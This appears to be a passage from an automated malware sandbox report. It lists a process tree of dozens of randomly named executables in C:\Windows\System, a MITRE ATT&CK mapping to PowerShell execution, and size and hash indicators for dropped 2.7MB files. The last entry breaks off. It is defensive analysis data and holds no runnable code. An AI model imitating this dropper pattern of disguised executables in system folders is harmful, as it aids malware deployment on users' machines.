- C:\Windows\System\pJBoeml.exe
  C:\Windows\System\pJBoeml.exe
  2⤵
  PID:9132
- C:\Windows\System\LVTVkhf.exe
  C:\Windows\System\LVTVkhf.exe
  2⤵
  PID:9148
- C:\Windows\System\vffgfTe.exe
  C:\Windows\System\vffgfTe.exe
  2⤵
  PID:9164
- C:\Windows\System\pUeqLDq.exe
  C:\Windows\System\pUeqLDq.exe
  2⤵
  PID:9184
- C:\Windows\System\BmZITGb.exe
  C:\Windows\System\BmZITGb.exe
  2⤵
  PID:9208
- C:\Windows\System\hOcmUKK.exe
  C:\Windows\System\hOcmUKK.exe
  2⤵
  PID:7680
- C:\Windows\System\mXOeNIn.exe
  C:\Windows\System\mXOeNIn.exe
  2⤵
  PID:7840
- C:\Windows\System\LEgFwNy.exe
  C:\Windows\System\LEgFwNy.exe
  2⤵
  PID:7892
- C:\Windows\System\RGTTwjH.exe
  C:\Windows\System\RGTTwjH.exe
  2⤵
  PID:8128
- C:\Windows\System\CLWvSof.exe
  C:\Windows\System\CLWvSof.exe
  2⤵
  PID:8196
- C:\Windows\System\NMHLJao.exe
  C:\Windows\System\NMHLJao.exe
  2⤵
  PID:8212
- C:\Windows\System\qWsZsXl.exe
  C:\Windows\System\qWsZsXl.exe
  2⤵
  PID:8232
- C:\Windows\System\cfGSHzV.exe
  C:\Windows\System\cfGSHzV.exe
  2⤵
  PID:8256
- C:\Windows\System\pxzulJi.exe
  C:\Windows\System\pxzulJi.exe
  2⤵
  PID:8276
- C:\Windows\System\XSgTsKt.exe
  C:\Windows\System\XSgTsKt.exe
  2⤵
  PID:8296
- C:\Windows\System\xpqqWzM.exe
  C:\Windows\System\xpqqWzM.exe
  2⤵
  PID:8324
- C:\Windows\System\bJTLFgC.exe
  C:\Windows\System\bJTLFgC.exe
  2⤵
  PID:8628
- C:\Windows\System\uKPUTGT.exe
  C:\Windows\System\uKPUTGT.exe
  2⤵
  PID:8364
- C:\Windows\System\oFrNMYB.exe
  C:\Windows\System\oFrNMYB.exe
  2⤵
  PID:8380
- C:\Windows\System\YTAJScV.exe
  C:\Windows\System\YTAJScV.exe
  2⤵
  PID:8400
- C:\Windows\System\MMHMJXm.exe
  C:\Windows\System\MMHMJXm.exe
  2⤵
  PID:8424
- C:\Windows\System\akrALfX.exe
  C:\Windows\System\akrALfX.exe
  2⤵
  PID:8444
- C:\Windows\System\oBZLoDf.exe
  C:\Windows\System\oBZLoDf.exe
  2⤵
  PID:8464
- C:\Windows\System\ONBXMlq.exe
  C:\Windows\System\ONBXMlq.exe
  2⤵
  PID:8484
- C:\Windows\System\EsoBZCF.exe
  C:\Windows\System\EsoBZCF.exe
  2⤵
  PID:8504
- C:\Windows\System\RJUqRcF.exe
  C:\Windows\System\RJUqRcF.exe
  2⤵
  PID:8520
- C:\Windows\System\HCOBzKF.exe
  C:\Windows\System\HCOBzKF.exe
  2⤵
  PID:8536
- C:\Windows\System\ZxTQDQy.exe
  C:\Windows\System\ZxTQDQy.exe
  2⤵
  PID:8548
- C:\Windows\System\AcWPRUh.exe
  C:\Windows\System\AcWPRUh.exe
  2⤵
  PID:8600
- C:\Windows\System\xMYdftu.exe
  C:\Windows\System\xMYdftu.exe
  2⤵
  PID:8620
- C:\Windows\System\eOGjIia.exe
  C:\Windows\System\eOGjIia.exe
  2⤵
  PID:8640
- C:\Windows\System\cYtIWuH.exe
  C:\Windows\System\cYtIWuH.exe
  2⤵
  PID:8660
- C:\Windows\System\xXFFgwX.exe
  C:\Windows\System\xXFFgwX.exe
  2⤵
  PID:8676
- C:\Windows\System\vDJKyWk.exe
  C:\Windows\System\vDJKyWk.exe
  2⤵
  PID:8696
- C:\Windows\System\Kouqtht.exe
  C:\Windows\System\Kouqtht.exe
  2⤵
  PID:8712
- C:\Windows\System\SWaUNhX.exe
  C:\Windows\System\SWaUNhX.exe
  2⤵
  PID:8728
- C:\Windows\System\eycQGBJ.exe
  C:\Windows\System\eycQGBJ.exe
  2⤵
  PID:8752
- C:\Windows\System\CVnsLnp.exe
  C:\Windows\System\CVnsLnp.exe
  2⤵
  PID:8788
- C:\Windows\System\ELVUAZw.exe
  C:\Windows\System\ELVUAZw.exe
  2⤵
  PID:8804
- C:\Windows\System\MkkAOFT.exe
  C:\Windows\System\MkkAOFT.exe
  2⤵
  PID:8820
- C:\Windows\System\PevHPxS.exe
  C:\Windows\System\PevHPxS.exe
  2⤵
  PID:2948
- C:\Windows\System\qOJeJSm.exe
  C:\Windows\System\qOJeJSm.exe
  2⤵
  PID:8852
- C:\Windows\System\CXJcroH.exe
  C:\Windows\System\CXJcroH.exe
  2⤵
  PID:8872
- C:\Windows\System\hvyMPZN.exe
  C:\Windows\System\hvyMPZN.exe
  2⤵
  PID:8896
- C:\Windows\System\NQltzsx.exe
  C:\Windows\System\NQltzsx.exe
  2⤵
  PID:8892
- C:\Windows\System\asvLfMJ.exe
  C:\Windows\System\asvLfMJ.exe
  2⤵
  PID:8920
- C:\Windows\System\sTWyJuA.exe
  C:\Windows\System\sTWyJuA.exe
  2⤵
  PID:8948
- C:\Windows\System\LDdubMr.exe
  C:\Windows\System\LDdubMr.exe
  2⤵
  PID:8972
- C:\Windows\System\OwIZPIB.exe
  C:\Windows\System\OwIZPIB.exe
  2⤵
  PID:9012
- C:\Windows\System\vKGCwJV.exe
  C:\Windows\System\vKGCwJV.exe
  2⤵
  PID:8976
- C:\Windows\System\HaEfLrz.exe
  C:\Windows\System\HaEfLrz.exe
  2⤵
  PID:9140
- C:\Windows\System\nBpDdvE.exe
  C:\Windows\System\nBpDdvE.exe
  2⤵
  PID:8252
- C:\Windows\System\JWTUKmK.exe
  C:\Windows\System\JWTUKmK.exe
  2⤵
  PID:8308
- C:\Windows\System\iwPrfur.exe
  C:\Windows\System\iwPrfur.exe
  2⤵
  PID:8420
- C:\Windows\System\WAvzPGz.exe
  C:\Windows\System\WAvzPGz.exe
  2⤵
  PID:8996
- C:\Windows\System\vlCcUJl.exe
  C:\Windows\System\vlCcUJl.exe
  2⤵
  PID:8992
- C:\Windows\System\ikbluJa.exe
  C:\Windows\System\ikbluJa.exe
  2⤵
  PID:9088
- C:\Windows\System\iFlTEfK.exe
  C:\Windows\System\iFlTEfK.exe
  2⤵
  PID:7176
- C:\Windows\System\bjKYzvq.exe
  C:\Windows\System\bjKYzvq.exe
  2⤵
  PID:8220
- C:\Windows\System\iSOdiRH.exe
  C:\Windows\System\iSOdiRH.exe
  2⤵
  PID:8316
- C:\Windows\System\WdaYIOi.exe
  C:\Windows\System\WdaYIOi.exe
  2⤵
  PID:8388
- C:\Windows\System\jlkHtDQ.exe
  C:\Windows\System\jlkHtDQ.exe
  2⤵
  PID:8436
- C:\Windows\System\IwGhMEn.exe
  C:\Windows\System\IwGhMEn.exe
  2⤵
  PID:8476
- C:\Windows\System\gomZzEU.exe
  C:\Windows\System\gomZzEU.exe
  2⤵
  PID:8124
- C:\Windows\System\kOJDlVX.exe
  C:\Windows\System\kOJDlVX.exe
  2⤵
  PID:8512
- C:\Windows\System\RzuKLyx.exe
  C:\Windows\System\RzuKLyx.exe
  2⤵
  PID:8204
- C:\Windows\System\NkoEfZt.exe
  C:\Windows\System\NkoEfZt.exe
  2⤵
  PID:8408
- C:\Windows\System\bnrtMQe.exe
  C:\Windows\System\bnrtMQe.exe
  2⤵
  PID:8500
- C:\Windows\System\GCoDdOB.exe
  C:\Windows\System\GCoDdOB.exe
  2⤵
  PID:8572
- C:\Windows\System\ZbucQVf.exe
  C:\Windows\System\ZbucQVf.exe
  2⤵
  PID:8584
- C:\Windows\System\BMXzQrl.exe
  C:\Windows\System\BMXzQrl.exe
  2⤵
  PID:8648
- C:\Windows\System\rmMtPle.exe
  C:\Windows\System\rmMtPle.exe
  2⤵
  PID:8720
- C:\Windows\System\QxbGxAd.exe
  C:\Windows\System\QxbGxAd.exe
  2⤵
  PID:8708
- C:\Windows\System\pgFLUtv.exe
  C:\Windows\System\pgFLUtv.exe
  2⤵
  PID:8748
- C:\Windows\System\uKYJtCX.exe
  C:\Windows\System\uKYJtCX.exe
  2⤵
  PID:8772
- C:\Windows\System\jMllyDe.exe
  C:\Windows\System\jMllyDe.exe
  2⤵
  PID:8780
- C:\Windows\System\OcxCzae.exe
  C:\Windows\System\OcxCzae.exe
  2⤵
  PID:8812
- C:\Windows\System\qXLTtaZ.exe
  C:\Windows\System\qXLTtaZ.exe
  2⤵
  PID:8880
- C:\Windows\System\EyMsuGz.exe
  C:\Windows\System\EyMsuGz.exe
  2⤵
  PID:8944
- C:\Windows\System\gZMMjWK.exe
  C:\Windows\System\gZMMjWK.exe
  2⤵
  PID:8836
- C:\Windows\System\VvLKrFA.exe
  C:\Windows\System\VvLKrFA.exe
  2⤵
  PID:9180
- C:\Windows\System\PazoxfV.exe
  C:\Windows\System\PazoxfV.exe
  2⤵
  PID:8344
- C:\Windows\System\ugCinaS.exe
  C:\Windows\System\ugCinaS.exe
  2⤵
  PID:8856
- C:\Windows\System\CHWxwML.exe
  C:\Windows\System\CHWxwML.exe
  2⤵
  PID:8968
- C:\Windows\System\MyCduwx.exe
  C:\Windows\System\MyCduwx.exe
  2⤵
  PID:8864
- C:\Windows\System\dVxzfMA.exe
  C:\Windows\System\dVxzfMA.exe
  2⤵
  PID:9108
- C:\Windows\System\TLWPbOd.exe
  C:\Windows\System\TLWPbOd.exe
  2⤵
  PID:7904
- C:\Windows\System\AtdBKBe.exe
  C:\Windows\System\AtdBKBe.exe
  2⤵
  PID:9200
- C:\Windows\System\AKjXIxS.exe
  C:\Windows\System\AKjXIxS.exe
  2⤵
  PID:8312
- C:\Windows\System\MtgePGn.exe
  C:\Windows\System\MtgePGn.exe
  2⤵
  PID:7320
- C:\Windows\System\IidNYeK.exe
  C:\Windows\System\IidNYeK.exe
  2⤵
  PID:8372
- C:\Windows\System\tTwVojL.exe
  C:\Windows\System\tTwVojL.exe
  2⤵
  PID:8248
- C:\Windows\System\AKQhkfT.exe
  C:\Windows\System\AKQhkfT.exe
  2⤵
  PID:8340
- C:\Windows\System\GklbzJu.exe
  C:\Windows\System\GklbzJu.exe
  2⤵
  PID:8564
- C:\Windows\System\redEDou.exe
  C:\Windows\System\redEDou.exe
  2⤵
  PID:8452
- C:\Windows\System\MshjlcM.exe
  C:\Windows\System\MshjlcM.exe
  2⤵
  PID:8672
- C:\Windows\System\ITOLvNk.exe
  C:\Windows\System\ITOLvNk.exe
  2⤵
  PID:8796
- C:\Windows\System\twfDCOZ.exe
  C:\Windows\System\twfDCOZ.exe
  2⤵
  PID:8776
- C:\Windows\System\uFHWLwN.exe
  C:\Windows\System\uFHWLwN.exe
  2⤵
  PID:9044
- C:\Windows\System\ltHAhrU.exe
  C:\Windows\System\ltHAhrU.exe
  2⤵
  PID:8940
- C:\Windows\System\nZSScNb.exe
  C:\Windows\System\nZSScNb.exe
  2⤵
  PID:8932
- C:\Windows\System\FtvIPxQ.exe
  C:\Windows\System\FtvIPxQ.exe
  2⤵
  PID:9156
- C:\Windows\System\YmEkIge.exe
  C:\Windows\System\YmEkIge.exe
  2⤵
  PID:8440
- C:\Windows\System\lntZASx.exe
  C:\Windows\System\lntZASx.exe
  2⤵
  PID:9128
- C:\Windows\System\npPKGrJ.exe
  C:\Windows\System\npPKGrJ.exe
  2⤵
  PID:8288
- C:\Windows\System\alFwSBM.exe
  C:\Windows\System\alFwSBM.exe
  2⤵
  PID:8004
- C:\Windows\System\xGTkXHo.exe
  C:\Windows\System\xGTkXHo.exe
  2⤵
  PID:8356
- C:\Windows\System\dmNHmBo.exe
  C:\Windows\System\dmNHmBo.exe
  2⤵
  PID:8208
- C:\Windows\System\mCkLLxN.exe
  C:\Windows\System\mCkLLxN.exe
  2⤵
  PID:8496
- C:\Windows\System\EeDsFDI.exe
  C:\Windows\System\EeDsFDI.exe
  2⤵
  PID:8560
- C:\Windows\System\rATQjok.exe
  C:\Windows\System\rATQjok.exe
  2⤵
  PID:8612
- C:\Windows\System\remPRPh.exe
  C:\Windows\System\remPRPh.exe
  2⤵
  PID:8456
- C:\Windows\System\fMeLdEa.exe
  C:\Windows\System\fMeLdEa.exe
  2⤵
  PID:8768
- C:\Windows\System\MOZdHzL.exe
  C:\Windows\System\MOZdHzL.exe
  2⤵
  PID:8744
- C:\Windows\System\KwSsElo.exe
  C:\Windows\System\KwSsElo.exe
  2⤵
  PID:8336
- C:\Windows\System\OFQolkj.exe
  C:\Windows\System\OFQolkj.exe
  2⤵
  PID:8668
- C:\Windows\System\lPVlsDk.exe
  C:\Windows\System\lPVlsDk.exe
  2⤵
  PID:8292
- C:\Windows\System\LYLczXP.exe
  C:\Windows\System\LYLczXP.exe
  2⤵
  PID:8580
- C:\Windows\System\piHmjFG.exe
  C:\Windows\System\piHmjFG.exe
  2⤵
  PID:8596
- C:\Windows\System\vuGTdzH.exe
  C:\Windows\System\vuGTdzH.exe
  2⤵
  PID:8848
- C:\Windows\System\rTRovFl.exe
  C:\Windows\System\rTRovFl.exe
  2⤵
  PID:8960
- C:\Windows\System\XTKBNse.exe
  C:\Windows\System\XTKBNse.exe
  2⤵
  PID:8228
- C:\Windows\System\rMGyYmR.exe
  C:\Windows\System\rMGyYmR.exe
  2⤵
  PID:8688
- C:\Windows\System\hiNwNHq.exe
  C:\Windows\System\hiNwNHq.exe
  2⤵
  PID:7888
- C:\Windows\System\wIQfaDW.exe
  C:\Windows\System\wIQfaDW.exe
  2⤵
  PID:9176
- C:\Windows\System\BIkxztl.exe
  C:\Windows\System\BIkxztl.exe
  2⤵
  PID:9220
- C:\Windows\System\PwNznrI.exe
  C:\Windows\System\PwNznrI.exe
  2⤵
  PID:9244
- C:\Windows\System\gcWobmh.exe
  C:\Windows\System\gcWobmh.exe
  2⤵
  PID:9268
- C:\Windows\System\KoVwJdD.exe
  C:\Windows\System\KoVwJdD.exe
  2⤵
  PID:9308
- C:\Windows\System\fjAuIaV.exe
  C:\Windows\System\fjAuIaV.exe
  2⤵
  PID:9328
- C:\Windows\System\tSVISGh.exe
  C:\Windows\System\tSVISGh.exe
  2⤵
  PID:9348
- C:\Windows\System\rSxdGnk.exe
  C:\Windows\System\rSxdGnk.exe
  2⤵
  PID:9368
- C:\Windows\System\cnNhsmf.exe
  C:\Windows\System\cnNhsmf.exe
  2⤵
  PID:9392
- C:\Windows\System\zZErtLF.exe
  C:\Windows\System\zZErtLF.exe
  2⤵
  PID:9408
- C:\Windows\System\ySRrCJy.exe
  C:\Windows\System\ySRrCJy.exe
  2⤵
  PID:9424
- C:\Windows\System\zyycxoW.exe
  C:\Windows\System\zyycxoW.exe
  2⤵
  PID:9440
- C:\Windows\System\JlfujIZ.exe
  C:\Windows\System\JlfujIZ.exe
  2⤵
  PID:9456
- C:\Windows\System\AINHfaz.exe
  C:\Windows\System\AINHfaz.exe
  2⤵
  PID:9472
- C:\Windows\System\hoAEmQD.exe
  C:\Windows\System\hoAEmQD.exe
  2⤵
  PID:9488
- C:\Windows\System\XmKqOaU.exe
  C:\Windows\System\XmKqOaU.exe
  2⤵
  PID:9504
- C:\Windows\System\lzRqeJI.exe
  C:\Windows\System\lzRqeJI.exe
  2⤵
  PID:9520
- C:\Windows\System\tZKFZOZ.exe
  C:\Windows\System\tZKFZOZ.exe
  2⤵
  PID:9536
- C:\Windows\System\xFHcjKp.exe
  C:\Windows\System\xFHcjKp.exe
  2⤵
  PID:9552
- C:\Windows\System\PQUJexw.exe
  C:\Windows\System\PQUJexw.exe
  2⤵
  PID:9568
- C:\Windows\System\iRLHSok.exe
  C:\Windows\System\iRLHSok.exe
  2⤵
  PID:9584
- C:\Windows\System\RBFnyJX.exe
  C:\Windows\System\RBFnyJX.exe
  2⤵
  PID:9600
- C:\Windows\System\eOkcLxE.exe
  C:\Windows\System\eOkcLxE.exe
  2⤵
  PID:9616
- C:\Windows\System\KfVDmGL.exe
  C:\Windows\System\KfVDmGL.exe
  2⤵
  PID:9632
- C:\Windows\System\BSTKiNn.exe
  C:\Windows\System\BSTKiNn.exe
  2⤵
  PID:9648
- C:\Windows\System\azKuHwb.exe
  C:\Windows\System\azKuHwb.exe
  2⤵
  PID:9664
- C:\Windows\System\XwRhgiA.exe
  C:\Windows\System\XwRhgiA.exe
  2⤵
  PID:9680
- C:\Windows\System\aDWeSgW.exe
  C:\Windows\System\aDWeSgW.exe
  2⤵
  PID:9696
- C:\Windows\System\vlCXEBK.exe
  C:\Windows\System\vlCXEBK.exe
  2⤵
  PID:9712
- C:\Windows\System\DIaZMxR.exe
  C:\Windows\System\DIaZMxR.exe
  2⤵
  PID:9728
- C:\Windows\System\cejHOsU.exe
  C:\Windows\System\cejHOsU.exe
  2⤵
  PID:9744
- C:\Windows\System\PRJCLxR.exe
  C:\Windows\System\PRJCLxR.exe
  2⤵
  PID:9760
- C:\Windows\System\lrzqhmw.exe
  C:\Windows\System\lrzqhmw.exe
  2⤵
  PID:9780
- C:\Windows\System\VbuOkwz.exe
  C:\Windows\System\VbuOkwz.exe
  2⤵
  PID:9796
- C:\Windows\System\JwooVqS.exe
  C:\Windows\System\JwooVqS.exe
  2⤵
  PID:9812
- C:\Windows\System\IHXpViN.exe
  C:\Windows\System\IHXpViN.exe
  2⤵
  PID:9828
- C:\Windows\System\BrAuXFa.exe
  C:\Windows\System\BrAuXFa.exe
  2⤵
  PID:9844
- C:\Windows\System\MYXLBfu.exe
  C:\Windows\System\MYXLBfu.exe
  2⤵
  PID:9860
- C:\Windows\System\UHXfFJS.exe
  C:\Windows\System\UHXfFJS.exe
  2⤵
  PID:9876
- C:\Windows\System\vYEMNrf.exe
  C:\Windows\System\vYEMNrf.exe
  2⤵
  PID:9892
- C:\Windows\System\xmhvlRw.exe
  C:\Windows\System\xmhvlRw.exe
  2⤵
  PID:9908
- C:\Windows\System\rMPqBiF.exe
  C:\Windows\System\rMPqBiF.exe
  2⤵
  PID:9924
- C:\Windows\System\pDmcPfz.exe
  C:\Windows\System\pDmcPfz.exe
  2⤵
  PID:9940
- C:\Windows\System\cEftxEz.exe
  C:\Windows\System\cEftxEz.exe
  2⤵
  PID:9956
- C:\Windows\System\KEOXmTa.exe
  C:\Windows\System\KEOXmTa.exe
  2⤵
  PID:9976
- C:\Windows\System\QxaFhAG.exe
  C:\Windows\System\QxaFhAG.exe
  2⤵
  PID:9992
- C:\Windows\System\kOBuYgX.exe
  C:\Windows\System\kOBuYgX.exe
  2⤵
  PID:10008
- C:\Windows\System\wuArKPV.exe
  C:\Windows\System\wuArKPV.exe
  2⤵
  PID:10024
- C:\Windows\System\vrVQdag.exe
  C:\Windows\System\vrVQdag.exe
  2⤵
  PID:10040
- C:\Windows\System\pUePIji.exe
  C:\Windows\System\pUePIji.exe
  2⤵
  PID:10056
- C:\Windows\System\bwruDyT.exe
  C:\Windows\System\bwruDyT.exe
  2⤵
  PID:10080
- C:\Windows\System\avhgdWz.exe
  C:\Windows\System\avhgdWz.exe
  2⤵
  PID:10120
- C:\Windows\System\nULXoit.exe
  C:\Windows\System\nULXoit.exe
  2⤵
  PID:10164
- C:\Windows\System\ioycaVQ.exe
  C:\Windows\System\ioycaVQ.exe
  2⤵
  PID:8692
- C:\Windows\System\jnrCveP.exe
  C:\Windows\System\jnrCveP.exe
  2⤵
  PID:7728
- C:\Windows\System\wtqSdbP.exe
  C:\Windows\System\wtqSdbP.exe
  2⤵
  PID:8376
- C:\Windows\System\PaRJdEb.exe
  C:\Windows\System\PaRJdEb.exe
  2⤵
  PID:8936
- C:\Windows\System\ovGmneJ.exe
  C:\Windows\System\ovGmneJ.exe
  2⤵
  PID:8472
- C:\Windows\System\JGkMuNE.exe
  C:\Windows\System\JGkMuNE.exe
  2⤵
  PID:9228
- C:\Windows\System\DokJtNQ.exe
  C:\Windows\System\DokJtNQ.exe
  2⤵
  PID:9316
- C:\Windows\System\oxUQxep.exe
  C:\Windows\System\oxUQxep.exe
  2⤵
  PID:9292
- C:\Windows\System\kLsOFBm.exe
  C:\Windows\System\kLsOFBm.exe
  2⤵
  PID:9336
- C:\Windows\System\zeWOeQP.exe
  C:\Windows\System\zeWOeQP.exe
  2⤵
  PID:9364
- C:\Windows\System\LyYEPYA.exe
  C:\Windows\System\LyYEPYA.exe
  2⤵
  PID:9400
- C:\Windows\System\ruMqbgd.exe
  C:\Windows\System\ruMqbgd.exe
  2⤵
  PID:9384
- C:\Windows\System\FstFetI.exe
  C:\Windows\System\FstFetI.exe
  2⤵
  PID:9436
- C:\Windows\System\sjeVQgK.exe
  C:\Windows\System\sjeVQgK.exe
  2⤵
  PID:9464
- C:\Windows\System\tGzpNEK.exe
  C:\Windows\System\tGzpNEK.exe
  2⤵
  PID:9548
- C:\Windows\System\bGgutgQ.exe
  C:\Windows\System\bGgutgQ.exe
  2⤵
  PID:9612
- C:\Windows\System\PCnWofu.exe
  C:\Windows\System\PCnWofu.exe
  2⤵
  PID:9528
- C:\Windows\System\FviOvwk.exe
  C:\Windows\System\FviOvwk.exe
  2⤵
  PID:9592
- C:\Windows\System\TBaSBIU.exe
  C:\Windows\System\TBaSBIU.exe
  2⤵
  PID:9656
- C:\Windows\System\LnHKXio.exe
  C:\Windows\System\LnHKXio.exe
  2⤵
  PID:9688
- C:\Windows\System\QbZwvmR.exe
  C:\Windows\System\QbZwvmR.exe
  2⤵
  PID:9752
- C:\Windows\System\LChCacn.exe
  C:\Windows\System\LChCacn.exe
  2⤵
  PID:9672
- C:\Windows\System\gxFixwV.exe
  C:\Windows\System\gxFixwV.exe
  2⤵
  PID:9868
- C:\Windows\System\psezhhn.exe
  C:\Windows\System\psezhhn.exe
  2⤵
  PID:9740
- C:\Windows\System\nBjpOPb.exe
  C:\Windows\System\nBjpOPb.exe
  2⤵
  PID:9776
- C:\Windows\System\fagsrAd.exe
  C:\Windows\System\fagsrAd.exe
  2⤵
  PID:9820
- C:\Windows\System\dUTMSbL.exe
  C:\Windows\System\dUTMSbL.exe
  2⤵
  PID:9884
- C:\Windows\System\ktitUIp.exe
  C:\Windows\System\ktitUIp.exe
  2⤵
  PID:9948
- C:\Windows\System\HQqRWTf.exe
  C:\Windows\System\HQqRWTf.exe
  2⤵
  PID:9952
- C:\Windows\System\IBrPDKq.exe
  C:\Windows\System\IBrPDKq.exe
  2⤵
  PID:10036
- C:\Windows\System\LMtZYcd.exe
  C:\Windows\System\LMtZYcd.exe
  2⤵
  PID:9984
- C:\Windows\System\Rbmthtm.exe
  C:\Windows\System\Rbmthtm.exe
  2⤵
  PID:10096
- C:\Windows\System\gyYxCao.exe
  C:\Windows\System\gyYxCao.exe
  2⤵
  PID:10140
- C:\Windows\System\dtBXrfE.exe
  C:\Windows\System\dtBXrfE.exe
  2⤵
  PID:10144
- C:\Windows\System\ErfVAbU.exe
  C:\Windows\System\ErfVAbU.exe
  2⤵
  PID:9236
- C:\Windows\System\boViQyK.exe
  C:\Windows\System\boViQyK.exe
  2⤵
  PID:10180
- C:\Windows\System\JdgbEGn.exe
  C:\Windows\System\JdgbEGn.exe
  2⤵
  PID:10188
- C:\Windows\System\LHNDcqm.exe
  C:\Windows\System\LHNDcqm.exe
  2⤵
  PID:10204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BErPRWK.exe

Filesize
2.7MB

MD5
70893076ac8ff58e9597c5a3067a573d

SHA1
6613ebc546d1e08b7b6f13d7807391fe6bfd6d53

SHA256
2e4147d2e41af4b5bb290eb8e4882fde49f8b51d73302a368d5b53c6cfb31a10

SHA512
59db53e28d25ae9da9968650cec0e07dec89d9c65c98e296cb4effee4cd2f832a6dbfee566ae8ef995812b4cc38a9824b721361bfc181ffba5f7e667c94bd432

Download Submit
C:\Windows\system\EEoFYUM.exe

Filesize
2.7MB

MD5
4e6ada801e5eece9e3498f007b731a58

SHA1
d4972ee6287031fcbfd70ceeb903ce3b5e7e5b1f

SHA256
767830fc3d6fdd33adaf2509ab6afb6957b991dd91f4f27684e1496b6b7eec18

SHA512
223cedb574149eca36ed52751b82ac0dbe68593db03af103d75d77b7addde0ccdf036a2be43d0ed57be9340aa3117e37b31681c8c9855d0673de909cb73289a4

Download Submit
C:\Windows\system\FyuUtsO.exe

Filesize
2.7MB

MD5
fa0c9aad352f0413eb07f76e618ce193

SHA1
df907146a77d3e287c97254f0aa112b7e503b58c

SHA256
777756a7991e72b18449e0ee604c428468104cde4a55368499aab7b65afe30a7

SHA512
2c12af34c9b7fd5e2fcf02ba4293bb1f579eb1aa6e53b68e149eeae0f9f03290f299b7f5159e6d1cf429827be9d7f4273319a1968efb65b88a16592f54cac9ce

Download Submit
C:\Windows\system\GnyymGH.exe

Filesize
2.7MB

MD5
67b1019092eed1de31d241d097d47a45

SHA1
bfa6dad0d803e3389e3a9d09451e816c23159328

SHA256
cec780dd5b263297cc3ea9622930bc31c600103d451b7a4a484d3c9dbb814f3f

SHA512
b74b0554e28faf8ae7c7c77d4f1bea75d74ad45ea376e7f3077f7830a2912b3164da579c59f2344d980371cf4d283aa45c4327f4187ca199c71835c913807c28

Download Submit
C:\Windows\system\HdTiRtk.exe

Filesize
2.7MB

MD5
3d812ea4e0e60269355e3f689c4b140d

SHA1
38cf3b0fbfdd7abf76b85b703b47c786a54a7996

SHA256
97ec7219e9342c6057850f1cc04ac02007c2b55e53a4bea49356fa2bd6cc76c4

SHA512
994e0e31802d262439e57c9a39fbc7248ac5028e7937ce844318f5f1f68a5b6c49d4cea819a7ba35cc09c375839fd0781a9de2d079e6f01ebb98aacfc779c732

Download Submit
C:\Windows\system\HyoHPpb.exe

Filesize
2.7MB

MD5
a80453240635268ef4ec5c0e1888b49b

SHA1
a22364fa2236dbb0b498d2a58c7773854107834c

SHA256
ce127950f0e8248268a734ca644b7e675123bf860b34ccb8742642f7521d8d99

SHA512
2774f693bc2a492a3de844b47c99682d2c2d34e373b77632af207cc378556bb637a316e11082b352a1a520765080b91fc9af2e0d497b13c1119be5d877086f5b

Download Submit
C:\Windows\system\IWwrXCx.exe

Filesize
2.7MB

MD5
69aa3bf90668285162afa3aa659838de

SHA1
4400ad00436c462bb9b57dab29e6f2f8e32f3d43

SHA256
5a627b2bc0cbf7449418b6d088af9dd78f3377867f856df16d87deb9793428d2

SHA512
369f12dec0a8fe0aee650f95fef450c190fee1576a560a65ce1bbaca02f7872c5ad357cbed1db0fd217562d4dd753f203cc5e41067ab5cc53b5e198db69e05a5

Download Submit
C:\Windows\system\KSFuVTk.exe

Filesize
2.7MB

MD5
756d48305fe097aae89d825b725b909b

SHA1
9b1a8022af17a7bb447d19229353d37eba0123ae

SHA256
05973aa409bcce9886676a97c5ad2147a82fa8820ab88ee34a637fb2c65ba91f

SHA512
96b582bf0b169ecdf0e1c78d0084f23741e6375410e59b70538c2fc0ba5325f39130d84832d01bac363c58bd04c04cae2164bb8e584139e4755cc1fc5829d778

Download Submit
C:\Windows\system\LeXeJUE.exe

Filesize
2.7MB

MD5
5a600df999dcee52361beacbfab289d6

SHA1
8e259dbc628f50ed5744f0838264a77965b887ad

SHA256
f3f861d54649d87728b728b7c1f91b0fb705a665436e35323b148187ed2bed97

SHA512
aecb3e65919f4189abdeaa425d6468384dbb1e22fa4737e99f2fe653aab341f726bc34b98e25bdb76593d4395d63c4a1ab6a863680b7589da50f8d4f566ac6c7

Download Submit
C:\Windows\system\NCUtwPl.exe

Filesize
2.7MB

MD5
d6967b3a54619408caa12bf477cb5610

SHA1
4d17bb1e2fe380ff91ee97e32182c59183f9c4b3

SHA256
bdac9900a267be4b8c277533e4c700edb42c6ce7e771afff1816e5d288992faf

SHA512
7be015bdb5e182bb972d10611aa91a58160176636ffe7c149742cc286ed952784672ba874644cfb044cbed7f9f492a2191a7eced3c1a356afa669739fb8d4eee

Download Submit
C:\Windows\system\QSosTDh.exe

Filesize
2.7MB

MD5
eef622d750d7e1d8e5eaf98cabeee671

SHA1
ba3f30986b0bc5769322b2e0fcbccaf65cbcc8f6

SHA256
cb5146baeb54503b0509216c5bf65d2a73cc8d40b14ad1165d1588d7f200b9e7

SHA512
d49dc8e4b40e09ba48c93dac2d322d5b07670c58cee3ba944834705f9e6b185f685893f997048f032f792924416921ec4b36672dfca49028558435f428a02edb

Download Submit
C:\Windows\system\RSZiMFX.exe

Filesize
2.7MB

MD5
c3339877dd8fccdc817ec241119702e8

SHA1
0474d35890688cc7cbbfab4a00c87c86bc08f5d4

SHA256
443fd1a95db8c2ec18e9287a18539a322125f3b4490fd8bc28c70c9e13a37ad4

SHA512
79590a28d8383c7ae0f2bc110317b1d983dc694e5ad19381cc274eb15ade09b0f602939d8a96b55e728eb56243a5e3cbaa76ff9431f2b883d96a877dac20d86f

Download Submit
C:\Windows\system\VVJooCh.exe

Filesize
2.7MB

MD5
9a9c9db7e83657849916fde82e3b3c11

SHA1
71b805ddb32228b47ac4d01fda26d80769002c51

SHA256
c442d6a3056a6a8f854ecff508aac89c91d8d709e40905f51d758bfd11bbe1d0

SHA512
9909aaaea3b1a5c267deabde356afaa901a1c3324839b12fa143098729d268b2a9a33bd6441dd7632d2fbcfefac4cfcab8bf13ca30b6c17ecf806a9574a01465

Download Submit
C:\Windows\system\Vdephgs.exe

Filesize
2.7MB

MD5
31161e5d983221a9d28c9c7a1c47ab56

SHA1
934530ec9cc66a87c46b5661125e88ab6d240d7c

SHA256
ec85e9a1c8b5978d861c2f42686abae5500c02459baae72ba4d8a39d0a666b72

SHA512
